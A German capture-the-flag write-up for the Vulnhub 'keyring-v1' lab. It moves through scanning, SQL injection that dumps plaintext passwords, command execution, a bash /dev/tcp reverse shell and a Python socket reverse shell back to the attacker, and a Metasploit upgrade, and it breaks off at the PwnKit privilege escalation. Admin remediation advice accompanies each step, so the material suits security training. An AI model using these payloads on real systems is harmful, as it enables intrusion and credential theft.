keyring-v1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
Web Browser
ffuf
sqlmap
nc (netcat)
find
python3
Metasploit (msfconsole)

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Die Aufklärungsphase dient der Entdeckung des Ziels im Netzwerk und der Identifizierung offener Ports und laufender Dienste mittels Netzwerkscans.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.126	08:00:27:20:b9:08	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu finden. Das Zielsystem wird unter der IP `192.168.2.126` identifiziert. Die MAC-Adresse `08:00:27:20:b9:08` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.

**Bewertung:** Das Ziel wurde erfolgreich lokalisiert. `arp-scan` ist hierfür im lokalen Netz sehr effektiv. Die MAC-Adresse liefert einen ersten Hinweis auf die Umgebung.

**Empfehlung (Pentester):** Die gefundene IP für detailliertere Scans nutzen.
**Empfehlung (Admin):** Netzwerksegmentierung kann die Erkennung durch ARP-Scans erschweren.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 192.168.2.126    keyring.vuln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.126` den Hostnamen `keyring.vuln` zuzuweisen. Dies erleichtert das Ansprechen des Ziels, insbesondere von Webanwendungen, über einen definierten Namen.

**Bewertung:** Eine sinnvolle Maßnahme, um eventuellen Anforderungen durch Virtual Hosting gerecht zu werden und die Lesbarkeit von URLs in Tools zu verbessern.

**Empfehlung (Pentester):** Immer die `hosts`-Datei anpassen, wenn ein Hostname für das Ziel bekannt ist oder vermutet wird.
**Empfehlung (Admin):** Keine direkte serverseitige Maßnahme möglich.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.126
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.126
+ Target Hostname:    192.168.2.126
+ Target Port:        80
+ Start Time:         2023-06-06 14:18:02 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8103 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-06-06 14:18:22 (GMT2) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

**Analyse:** `nikto` wird verwendet, um den Webserver auf Port 80 zu scannen. Wichtige Ergebnisse: * Server: Apache/2.4.29 (Ubuntu) - wird als veraltet markiert. * Fehlende Sicherheitsheader: `X-Frame-Options`, `X-Content-Type-Options`. * Fehlendes `HttpOnly`-Flag beim `PHPSESSID`-Cookie auf `login.php`. * Apache-Standarddatei `/icons/README` gefunden.

**Bewertung:** Der `nikto`-Scan liefert erste Hinweise auf mögliche Schwachstellen und Fehlkonfigurationen des Webservers. Die fehlenden Header und das fehlende `HttpOnly`-Flag stellen moderate Sicherheitsrisiken dar (Clickjacking, MIME-Sniffing, Session-Diebstahl via XSS). Die veraltete Apache-Version könnte ausnutzbare Schwachstellen enthalten.

**Empfehlung (Pentester):** Die fehlenden Header und das `HttpOnly`-Flag als Findings notieren. Nach bekannten Exploits für Apache 2.4.29 suchen. Die Webanwendung weiter untersuchen (Verzeichnisse, Dateien, Funktionalitäten).
**Empfehlung (Admin):** Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) implementieren. Das `HttpOnly`-Flag für Session-Cookies setzen. Apache auf die neueste Version aktualisieren. Standarddateien wie `/icons/README` entfernen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.126 -p- | grep open
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                    

**Analyse:** Ein schneller `nmap`-Scan mit `-sS` (SYN Scan), `-sC` (Standard-Skripte), `-T5` (schnelles Timing) und `-AO` (OS-Erkennung, Ack Scan) wird auf alle Ports (`-p-`) angewendet. Die Ausgabe wird gefiltert, um nur offene Ports anzuzeigen. Es werden Port 22 (SSH) und Port 80 (HTTP) gefunden, mit den jeweiligen Versionen.

**Bewertung:** Bestätigt die bereits durch `nikto` implizierten offenen Ports und liefert zusätzlich die SSH-Version (OpenSSH 7.6p1). Die Angriffsfläche scheint auf diese beiden Dienste beschränkt zu sein.

**Empfehlung (Pentester):** Die vollständige `nmap`-Ausgabe prüfen. Den Fokus auf den Webserver (Port 80) legen, da SSH 7.6p1 weniger wahrscheinlich direkt ausnutzbar ist.
**Empfehlung (Admin):** Software aktuell halten. Firewall-Regeln überprüfen, um sicherzustellen, dass nur beabsichtigte Ports offen sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.126 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 14:17 CEST
Nmap scan report for keyring.vuln (192.168.2.126)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8debfd0a768a2a756e9b6e7b51c428db (RSA)
|   256 533135c03aa0482f3a79f556cd3c63ee (ECDSA)
|_  256 8d7bd3c9156103b1b5f1d2ed2c015565 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:20:B9:08 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms keyring.vuln (192.168.2.126)
                    

**Analyse:** Die vollständige `nmap`-Ausgabe liefert die gleichen grundlegenden Informationen wie der gefilterte Scan (SSH 7.6p1, Apache 2.4.29). Es werden die SSH-Hostkeys angezeigt und bestätigt, dass die Webseite auf Port 80 keinen Titel hat. Die OS-Erkennung deutet auf einen Linux-Kernel 3.x oder 4.x hin.

**Bewertung:** Die vollständige Ausgabe bestätigt die bisherigen Erkenntnisse. Keine neuen kritischen Informationen, aber die SSH-Keys und die genauere OS-Schätzung könnten in späteren Phasen nützlich sein. Das Fehlen eines Seitentitels ist eine kleine Auffälligkeit.

**Empfehlung (Pentester):** Mit der Web-Enumeration fortfahren.
**Empfehlung (Admin):** Sicherstellen, dass Webseiten aussagekräftige Titel haben.

Web Enumeration & SQL Injection

**Analyse:** Der Fokus liegt nun auf der Untersuchung der Webanwendung auf Port 80 mittels Verzeichnis-Bruteforcing und anschließender Schwachstellenanalyse der gefundenen Seiten.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://keyring.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
http://keyring.vuln/index.php            (Status: 200) [Size: 3254]
http://keyring.vuln/about.php            (Status: 302) [Size: 561] [--> index.php]
http://keyring.vuln/home.php             (Status: 302) [Size: 561] [--> index.php]
http://keyring.vuln/login.php            (Status: 200) [Size: 1466]
http://keyring.vuln/history.php          (Status: 200) [Size: 31]
http://keyring.vuln/logout.php           (Status: 302) [Size: 0] [--> index.php]
http://keyring.vuln/control.php          (Status: 302) [Size: 561] [--> index.php]
===============================================================
                    

**Analyse:** `gobuster` wird verwendet, um nach Dateien und Verzeichnissen auf `http://keyring.vuln` zu suchen, wobei eine Wortliste und eine Liste von Dateierweiterungen verwendet werden. Gefundene Seiten: * `index.php`: Die Startseite. * `login.php`: Eine Login-Seite. * `history.php`: Eine Seite, die möglicherweise Verlaufsdaten anzeigt. * `about.php`, `home.php`, `logout.php`, `control.php`: Diese Seiten leiten alle auf `index.php` weiter (Status 302), was darauf hindeutet, dass sie möglicherweise nur für eingeloggte Benutzer zugänglich sind.

**Bewertung:** `gobuster` hat die Hauptseiten der Anwendung identifiziert. Die Weiterleitungen bei bestimmten Seiten (`home.php`, `control.php` etc.) sind ein klarer Hinweis auf eine erforderliche Authentifizierung. `login.php` ist der primäre Einstiegspunkt, und `history.php` könnte interessant sein, da sie direkt zugänglich ist und möglicherweise Informationen preisgibt.

**Empfehlung (Pentester):** Die `login.php` auf Standard-Credentials oder SQL-Injection testen. Die `history.php` genauer untersuchen (Parameter?). Versuchen, sich anzumelden (evtl. Registrierungsfunktion?), um Zugriff auf die anderen Seiten zu erhalten.
**Empfehlung (Admin):** Sicherstellen, dass Seiten, die eine Authentifizierung erfordern, korrekt geschützt sind und keine sensiblen Informationen vor dem Login preisgeben. Weiterleitungen sollten konsistent und sicher sein.

**Analyse:** Untersuchung der Seiten `home.php`, `control.php` und `history.php` durch manuelles Aufrufen oder durch Interaktion nach einem (angenommenen) Login als Benutzer "ben".

# Inhalt/Verhalten von http://keyring.vuln/home.php (nach Login als 'ben')
    Home Control About Logout
welcome ben
Date & Time : 2023-06-06 17:51:20

# Inhalt/Verhalten von http://keyring.vuln/control.php?command=id
HTTP Parameter Pollution or HPP in short is a vulnerability that occurs
due to passing of multiple parameters having same name
Cookie:	PHPSESSID=1c82ejfg7g6pb95nupunac10fj

# Inhalt von http://keyring.vuln/history.php?user=admin
Pages visited by user admin
https://github.com/cyberbot75/keyring
                    

**Bewertung:** * `home.php`: Zeigt eine einfache Willkommensseite für den eingeloggten Benutzer "ben". * `control.php`: Diese Seite scheint einen Hinweis auf "HTTP Parameter Pollution (HPP)" zu geben und erwartet möglicherweise einen Parameter. Der Versuch, `?command=id` zu verwenden, führt jedoch nicht zur Codeausführung, sondern zeigt nur den HPP-Hinweis und das Session-Cookie. * `history.php`: Diese Seite ist besonders interessant. Mit dem Parameter `?user=admin` zeigt sie einen GitHub-Link (`https://github.com/cyberbot75/keyring`) an, der angeblich vom Benutzer `admin` besucht wurde. Dies deutet stark darauf hin, dass der Quellcode der Anwendung auf GitHub verfügbar ist und dass die Seite anfällig für das Auslesen von Informationen anderer Benutzer sein könnte (evtl. SQL-Injection im `user`-Parameter).

**Empfehlung (Pentester):** Den GitHub-Link besuchen und den Quellcode analysieren, insbesondere `control.php` und `history.php`. Den `user`-Parameter in `history.php` auf SQL-Injection testen. Den `control.php`-Endpunkt weiter untersuchen, eventuell mit anderen Parameternamen oder Methoden (HPP-Tests).
**Empfehlung (Admin):** Quellcode auf GitHub überprüfen und sicherstellen, dass keine sensiblen Daten (wie Credentials in `control.php`) enthalten sind. SQL-Injection-Schwachstellen in `history.php` beheben (Prepared Statements verwenden). Die Funktionalität von `control.php` überprüfen und absichern. Sicherstellen, dass Benutzer nur ihre eigenen Daten sehen können.

**Analyse:** Analyse des Quellcodes von `control.php` aus dem auf GitHub gefundenen Repository.

# Auszug aus https://raw.githubusercontent.com/cyberbot75/keyring/main/html/control.php
sqluserrootpassw0r4";
	$database = "users";

	$conn = mysqli_connect($servername, $username, $password, $database);
	$name = $_SESSION['name'];
	$date =  date('Y-m-d H:i:s');
	echo "HTTP Parameter Pollution or HPP in short is a vulnerability that occurs
due to passing of multiple parameters having same name"; // Maskiertes
$sql = "insert into log (name , page_visited , date_time) values ('$name','control','$date')"; if(mysqli_query($conn,$sql)) { echo "Date & Time : ".$date; } // Fehlende schließende Klammer und ?> im Original, hier impliziert ?> // Hinzugefügt

**Bewertung:** Kritischer Fund im Quellcode! Die Datei `control.php` enthält hartcodierte Zugangsdaten für die MySQL-Datenbank: Benutzer `root` mit Passwort `sqluserrootpassw0r4`. Die Datenbank heißt `users` und läuft auf `localhost`. Der Code selbst scheint außer dem Logging der Seitenbesuche keine Funktionalität für den `command`-Parameter oder ähnliches zu haben. Der HPP-Hinweis scheint irreführend oder Teil einer unvollständigen Implementierung zu sein. Die eigentliche Schwachstelle hier sind die exponierten DB-Credentials.

**Empfehlung (Pentester):** Diese Datenbank-Credentials notieren. Sie könnten für den direkten Zugriff auf die Datenbank verwendet werden (falls ein lokaler Zugriff möglich ist, z. B. nach Erhalt einer Shell) oder, falls das Passwort wiederverwendet wurde, für den SSH-Login oder andere Benutzer.
**Empfehlung (Admin):** Sofort die Datenbank-Credentials aus dem Quellcode entfernen und sicher speichern (z.B. Umgebungsvariablen, Konfigurationsmanagement-Tools). Das Datenbankpasswort ändern. Den Quellcode auf GitHub überprüfen und bereinigen oder das Repository privat machen.

┌──(root㉿cyber)-[~] └─# ffuf -u http://192.168.2.126/history.php?FUZZ=ben -w /usr/share/wordlists/dirb/big.txt -b "PHPSESSID=1c82ejfg7g6pb95nupunac10fj" -fs 0
FUZZ: user   [Status: 200, Size: 156, Words: 5, Lines: 1, Duration: 1ms]
                    

**Analyse:** `ffuf` wird verwendet, um Parameter für die Seite `history.php` zu fuzzen. * `-u http://192.168.2.126/history.php?FUZZ=ben`: Die URL, wobei `FUZZ` durch Wörter aus der Wortliste ersetzt wird. Der Wert `ben` ist hier irrelevant, da der Parametername gefuzzt wird. * `-w /usr/share/wordlists/dirb/big.txt`: Eine große Wortliste für die Parameter-Namen. * `-b "PHPSESSID=..."`: Setzt das Session-Cookie, das zuvor beobachtet wurde, um als eingeloggter Benutzer zu agieren. * `-fs 0`: Filtert Antworten mit der Größe 0 heraus. Das Ergebnis zeigt, dass der Parametername `user` eine gültige Antwort (Status 200, Size 156) liefert.

**Bewertung:** Bestätigt, dass `user` der korrekte Parameter für `history.php` ist. Dies war bereits durch den manuellen Test mit `?user=admin` bekannt, aber `ffuf` hätte auch andere gültige Parameter finden können.

**Empfehlung (Pentester):** Den Parameter `user` weiter auf Schwachstellen untersuchen, insbesondere SQL-Injection.
**Empfehlung (Admin):** Parameternamen validieren. Unnötige Parameter vermeiden.

┌──(root㉿cyber)-[~] └─# sqlmap -u http://192.168.2.126/history.php?user=admin --cookie="PHPSESSID=1c82ejfg7g6pb95nupunac10fj" --dump -batch
[15:22:40] [INFO] fetching current database
[15:22:40] [INFO] fetching tables for database: 'users'
[15:22:40] [INFO] fetching columns for table 'log' in database 'users'
[15:22:40] [INFO] fetching entries for table 'log' in database 'users'
Database: users
Table: log
[11 entries]
+-------+---------------------+---------------------------------------+
| name  | date_time           | page_visited                          |
+-------+---------------------+---------------------------------------+
| admin | 2021-06-10 18:58:32 | https://github.com/cyberbot75/keyring |
| ben   | 2023-06-06 17:51:20 | home                                  |
# ... (weitere Log-Einträge für 'ben') ...
| ben   | 2023-06-06 18:24:48 | home                                  |
+-------+---------------------+---------------------------------------+

[15:22:40] [INFO] table 'users.`log`' dumped to CSV file ...
[15:22:40] [INFO] fetching columns for table 'details' in database 'users'
[15:22:40] [INFO] fetching entries for table 'details' in database 'users'
Database: users
Table: details
[3 entries]
+-------+-----------------------+
| name  | password              |
+-------+-----------------------+
| admin | myadmin#p4szw0r4d     |
| ben   | benni                 |
| john  | Sup3r$S3cr3t$PasSW0RD |
+-------+-----------------------+

[15:22:40] [INFO] table 'users.details' dumped to CSV file ...
[15:22:40] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.126'

[*] ending @ 15:22:40 /2023-06-06/
                    

**Analyse:** `sqlmap` wird verwendet, um die URL `http://192.168.2.126/history.php?user=admin` auf SQL-Injection-Schwachstellen zu testen. * `-u ...`: Die Ziel-URL mit dem verdächtigen Parameter. * `--cookie="PHPSESSID=..."`: Übergibt das Session-Cookie, um authentifiziert zu bleiben. * `--dump`: Versucht, den Inhalt aller gefundenen Datenbanken und Tabellen auszulesen. * `-batch`: Führt `sqlmap` im nicht-interaktiven Modus aus und verwendet Standardantworten. `sqlmap` identifiziert erfolgreich eine SQL-Injection im `user`-Parameter. Es dumpt die Datenbank `users` mit zwei Tabellen: * `log`: Enthält Verlaufsdaten der Benutzerbesuche (wie bereits gesehen). * `details`: Enthält Benutzernamen (`admin`, `ben`, `john`) und die zugehörigen **Klartext-Passwörter!**

**Bewertung:** Ein weiterer kritischer Fund! `sqlmap` hat nicht nur eine SQL-Injection bestätigt, sondern auch eine Tabelle mit Klartext-Passwörtern gefunden. Das ist eine massive Sicherheitslücke. Wir haben nun die Passwörter für die Benutzer `admin`, `ben` und `john`. Das Passwort für `admin` (`myadmin#p4szw0r4d`) ist besonders wertvoll.

**Empfehlung (Pentester):** Die gefundenen Passwörter notieren: `admin:myadmin#p4szw0r4d`, `ben:benni`, `john:Sup3r$S3cr3t$PasSW0RD`. Das `admin`-Passwort verwenden, um sich auf der Webseite einzuloggen und die `control.php`-Seite erneut zu untersuchen. Die Passwörter auch für SSH testen.
**Empfehlung (Admin):** Die SQL-Injection-Schwachstelle in `history.php` sofort beheben (Prepared Statements verwenden). Passwörter *niemals* im Klartext in der Datenbank speichern! Stattdessen sichere Hashes (bcrypt, Argon2) mit Salt verwenden. Alle betroffenen Passwörter sofort ändern und Benutzer informieren. Die Datenbankstruktur überprüfen.

Initial Access (RCE via HPP)

**Analyse:** Nach Erlangung der Admin-Zugangsdaten (`admin:myadmin#p4szw0r4d`) durch die SQL-Injection wird versucht, sich als Admin anzumelden und die zuvor nicht funktionierende `control.php`-Seite erneut zu untersuchen, diesmal mit dem Wissen um eine mögliche HTTP Parameter Pollution (HPP) oder einen spezifischen Parameter zur Codeausführung.

# Aufruf von http://192.168.2.126/home.php (nach Login als admin:myadmin#p4szw0r4d)
    Home Control About Logout
welcome admin
Date & Time : 2023-06-06 18:55:58
                    

**Analyse:** Der Login als `admin` mit dem aus der Datenbank gedumpten Passwort `myadmin#p4szw0r4d` war erfolgreich. Die `home.php` zeigt nun "welcome admin".

**Bewertung:** Bestätigt die Gültigkeit der gefundenen Admin-Credentials. Nun können Seiten wie `control.php` im Kontext des Admin-Benutzers aufgerufen werden.

**Empfehlung (Pentester):** Jetzt `control.php` erneut testen, um die RCE-Schwachstelle auszunutzen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Passwortsicherheit und SQLi-Behebung.

# Aufruf von http://192.168.2.126/control.php?cmdcntr=id
   Home Control About Logout

HTTP Parameter Pollution or HPP in short is a vulnerability that occurs
due to passing of multiple parameters having same name

Date & Time : 2023-06-06 18:57:06uid=33(www-data) gid=33(www-data) groups=33(www-data)
                    

**Analyse:** Diesmal wird `control.php` mit dem Parameter `cmdcntr=id` aufgerufen (anstelle von `command=id` wie zuvor erfolglos versucht). Die Seite gibt immer noch den HPP-Hinweis aus, aber *zusätzlich* die Ausgabe des `id`-Befehls: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.

**Bewertung:** Remote Code Execution (RCE) erfolgreich bestätigt! Der Parameter `cmdcntr` erlaubt die Ausführung beliebiger Systembefehle als Benutzer `www-data`. Ob dies tatsächlich durch HPP ausgelöst wird oder `cmdcntr` einfach der erwartete Parameter ist, ist unklar, aber das Ergebnis ist eine RCE.

**Empfehlung (Pentester):** Diese RCE nutzen, um eine Reverse Shell zu bekommen.
**Empfehlung (Admin):** Die RCE-Schwachstelle in `control.php` sofort beheben. Benutzereingaben niemals direkt an Systembefehle übergeben. Eingaben validieren und sanitisieren. Sicherstellen, dass die Anwendung keine unsicheren Funktionen wie `system()`, `exec()`, `passthru()` mit direkter Benutzereingabe verwendet.

# Aufruf von http://192.168.2.126/control.php?cmdcntr=ls%20-la
   Home Control About Logout

HTTP Parameter Pollution or HPP in short is a vulnerability that occurs
due to passing of multiple parameters having same name

Date & Time : 2023-06-06 18:58:08
total 36
drwxr-xr-x 2 root root 4096 Jun 22 2021 .
drwxr-xr-x 3 root root 4096 Jun 8 2021 ..
-rw-r--r-- 1 root root 1281 Jun 10 2021 about.php
-rw-r--r-- 1 root root 0 Jun 10 2021 about.php.save
-rw-r--r-- 1 root root 1519 Jun 22 2021 control.php
-rw-r--r-- 1 root root 621 Jun 10 2021 history.php
-rw-r--r-- 1 root root 1122 Jun 10 2021 home.php
-rw-r--r-- 1 root root 0 Jun 10 2021 home.php.save
-rw-r--r-- 1 root root 3826 Jun 10 2021 index.php
-rw-r--r-- 1 root root 2085 Jun 10 2021 login.php
-rw-r--r-- 1 root root 177 Jun 10 2021 logout.php
                    

**Analyse:** Ein weiterer Test der RCE mit `cmdcntr=ls%20-la` (URL-kodiertes `ls -la`). Die Ausgabe zeigt den Inhalt des aktuellen Verzeichnisses (`/var/www/html`).

**Bewertung:** Bestätigt die Funktionsfähigkeit der RCE-Schwachstelle für komplexere Befehle mit Leerzeichen.

**Empfehlung (Pentester):** Nun eine Reverse Shell aufbauen.
**Empfehlung (Admin):** RCE beheben.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...

**Analyse:** Ein Netcat-Listener wird auf dem Angreifersystem auf Port 9001 gestartet, um die eingehende Reverse Shell zu empfangen.

**Bewertung:** Standardvorbereitung.

**Empfehlung (Pentester):** Listener bereit halten und den Reverse-Shell-Payload über die RCE ausführen.
**Empfehlung (Admin):** Egress-Filtering.

# Verwendeter Payload (URL-kodiert in der Adresszeile des Browsers oder via curl)
Payload: http://192.168.2.126/control.php?cmdcntr=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27
                    

**Analyse:** Der Bash-Reverse-Shell-Payload (`/bin/bash -c 'bash -i >& /dev/tcp/ANGREIFER_IP/PORT 0>&1'`) wird URL-kodiert und an den `cmdcntr`-Parameter übergeben, um eine Verbindung zum Listener auf 192.168.2.113:9001 herzustellen. (Hinweis: Die Angreifer-IP `192.168.2.113` unterscheidet sich von der vorherigen `192.168.2.199`, Konsistenz ist wichtig).

**Bewertung:** Standardpayload zur Etablierung einer Reverse Shell über die gefundene RCE.

**Empfehlung (Pentester):** Sicherstellen, dass die Angreifer-IP im Payload korrekt ist und der Listener auf dieser IP/Port läuft.
**Empfehlung (Admin):** RCE beheben, Egress-Filtering.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.126] 58248
bash: cannot set terminal process group (824): Inappropriate ioctl for device
bash: no job control in this shell
www-data@keyring:/var/www/html$
                    

**Analyse:** Der Netcat-Listener empfängt die Verbindung vom Zielsystem (`192.168.2.126`). Eine Shell wird als `www-data` im Verzeichnis `/var/www/html` geöffnet. Die üblichen TTY-Fehlermeldungen erscheinen.

**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die RCE-Schwachstelle erlangt!

**Empfehlung (Pentester):** Shell stabilisieren und mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** RCE beheben.

Privilege Escalation (www-data Shell)

**Analyse:** Nach dem Erhalt der Shell als `www-data` wird das System auf Möglichkeiten zur Rechteausweitung untersucht. Fokus auf SUID-Binaries und bekannte Exploits.

www-data@keyring:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
# Gekürzte Ausgabe, interessante/Standard SUIDs
   266402    100 -rwsr-sr-x   1 root     root       101208 Apr 16  2018 /usr/lib/snapd/snap-confine
   2631289     80 -rwsr-xr-x   1 root     root        80056 Apr  2  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   # ... (policykit, openssh, dbus, eject) ...
   2490400     44 -rwsr-xr-x   1 root     root          44528 Jan 25  2018 /usr/bin/chsh
   # ... (traceroute6) ...
   2490533     60 -rwsr-xr-x   1 root     root          59640 Jan 25  2018 /usr/bin/passwd
   2499092     40 -rwsr-xr-x   1 root     root          37136 Jan 25  2018 /usr/bin/newuidmap
   2499518    684 -rwsr-xr-x   1 root     root         697592 Mar 13  2021 /usr/bin/sudo
   2490522     40 -rwsr-xr-x   1 root     root          40344 Jan 25  2018 /usr/bin/newgrp
   2499115     24 -rwsr-xr-x   1 root     root          22520 Mar 27  2018 /usr/bin/pkexec
   2499091     40 -rwsr-xr-x   1 root     root          37136 Jan 25  2018 /usr/bin/newgidmap
   2490398     76 -rwsr-xr-x   1 root     root          76496 Jan 25  2018 /usr/bin/chfn
   2490463     76 -rwsr-xr-x   1 root     root          75824 Jan 25  2018 /usr/bin/gpasswd
   2498778     52 -rwsr-sr-x   1 daemon   daemon        51464 Feb 20  2018 /usr/bin/at
   # ... (ntfs-3g, umount, mount, ping, fusermount, su) ...
                    

**Analyse:** Die Suche nach SUID-Binaries wird als `www-data` durchgeführt. Die Liste zeigt viele Standard-Programme. `pkexec` (datiert März 2018) und `sudo` (datiert März 2021) sind wieder die Hauptverdächtigen für eine Eskalation. Die `pkexec`-Version ist wahrscheinlich anfällig für Pwnkit (CVE-2021-4034).

**Bewertung:** Die SUID-Analyse liefert klare Hinweise auf potenzielle Eskalationspfade, insbesondere Pwnkit.

**Empfehlung (Pentester):** Die Pwnkit-Schwachstelle für `pkexec` ausnutzen, idealerweise über Metasploit für eine stabilere Sitzung und einfachere Handhabung. `sudo -l` als `www-data` versuchen (geringe Erfolgsaussicht).
**Empfehlung (Admin):** Systeme patchen (insbesondere Polkit). Anzahl der SUID-Binaries minimieren.

**Analyse:** Es wird entschieden, die `www-data`-Shell zu Metasploit zu migrieren und dort den `local_exploit_suggester` sowie den Pwnkit-Exploit zu verwenden.

www-data@keyring:/var/www/html$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.113",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.113:4444
[*] Command shell session 1 opened (192.168.2.113:4444 -> 192.168.2.126:59250) at 2023-06-06 15:32:52 +0200

Shell Banner:
/bin/sh: 0: can't access tty; job control turned off
$
-----

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ^Z # Session in den Hintergrund
Background session 1? [y/N]  y

msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.113:4433
[*] Sending stage (1017704 bytes) to 192.168.2.126
[*] Meterpreter session 2 opened (192.168.2.113:4433 -> 192.168.2.126:40242) at 2023-06-06 15:53:30 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

**Analyse:** Zuerst wird eine neue Reverse Shell von der `www-data`-Shell via Python3 zu einem Metasploit-Listener auf Port 4444 aufgebaut (Session 1). Diese Session wird dann mit `shell_to_meterpreter` auf Port 4433 zu einer Meterpreter-Sitzung (Session 2) aufgewertet.

**Bewertung:** Erfolgreiche Etablierung einer Meterpreter-Sitzung als `www-data`. Dies bietet eine stabilere und funktionsreichere Umgebung für die weitere Eskalation.

**Empfehlung (Pentester):** Den `local_exploit_suggester` auf die Meterpreter-Sitzung 2 anwenden.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zu Egress-Filtering, HIDS/EDR.

msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):
# ... (Standardoptionen) ...
   SESSION                        yes       The session to run this module on
# ...
                    
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.126 - Collecting local exploits for x86/linux...
[*] 192.168.2.126 - Valid modules for session 2:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
 2   exploit/linux/local/nested_namespace_idmap_limit_priv_esc          Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 5   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
                    

**Analyse:** Der `local_exploit_suggester` wird auf die Meterpreter-Sitzung 2 angewendet. Er identifiziert mehrere potenzielle Schwachstellen, bestätigt aber explizit, dass das Ziel für Pwnkit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) verwundbar ist ("The target is vulnerable.").

**Bewertung:** Klare Bestätigung des vielversprechendsten Eskalationspfades über Pwnkit.

